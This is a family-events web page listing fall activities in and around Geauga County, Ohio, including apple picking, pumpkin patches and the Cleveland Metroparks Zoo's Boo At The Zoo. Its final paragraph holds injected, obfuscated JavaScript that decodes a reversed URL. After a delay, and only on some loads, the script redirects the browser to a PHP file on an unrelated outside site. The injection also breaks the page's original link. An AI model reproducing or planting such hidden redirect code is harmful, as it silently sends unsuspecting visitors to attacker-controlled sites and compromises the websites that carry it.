Fall Family Fun in Geauga County


Fall is the perfect season for spending time outside with family—the weather is beautiful, the scenery is unmatched and there are a number of family-friendly fall activities in and around Geauga County. Spend the next two months enjoying one of the best seasons Ohio has to offer. 

Apple Picking

Fall is prime season for apples. Apple picking can be a great fall activity for every member of your family, young and old. Get outside and enjoy the fall weather while you are walking through the orchard, looking for the perfect apples to bring home with you, or maybe ones you will eat right off the tree. Find an apple orchard near you! 

Corn Mazes, Hay Rides and Pumpkin Patches

Many local farms open their doors to families for some good old fashion fall family fun. Plan to visit a pumpkin patch to search for the perfect pumpkin, maneuver your way through a corn maze and take a relaxing hay ride through the beautiful countryside. Which fall festival is closest to you?


For children of all ages, trick-or-treat is the most exciting part of Halloween. Not only do you get to dress up in a fun costume, you also get free candy! Trick-or-treating is a great way to spend time together as a family, maybe even in coordinating costumes if you’re feeling creative. Even though trick-or-treating can be fun, it is also important that families make smart choices while out to ensure their safety.

Boo At The Zoo

Boo At The Zoo is the perfect fall event for families with younger children. The Cleveland Metroparks Zoo will be open October 16-19 and 23-26 from 6-9 p.m. for eight nights of safe Halloween entertainment and scare-free fun. There will be a dance party, train rides, a hay maze, magic shows, musical entertainment and so much more. What could be better than going to the zoo all dressed up in your Halloween costumes? $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}metroparks.com/Zoo/Events-and-Happenings/Boo-At-The-Zoo-Weekend-1-2060.aspx”>Learn more about this fun fall activity today.
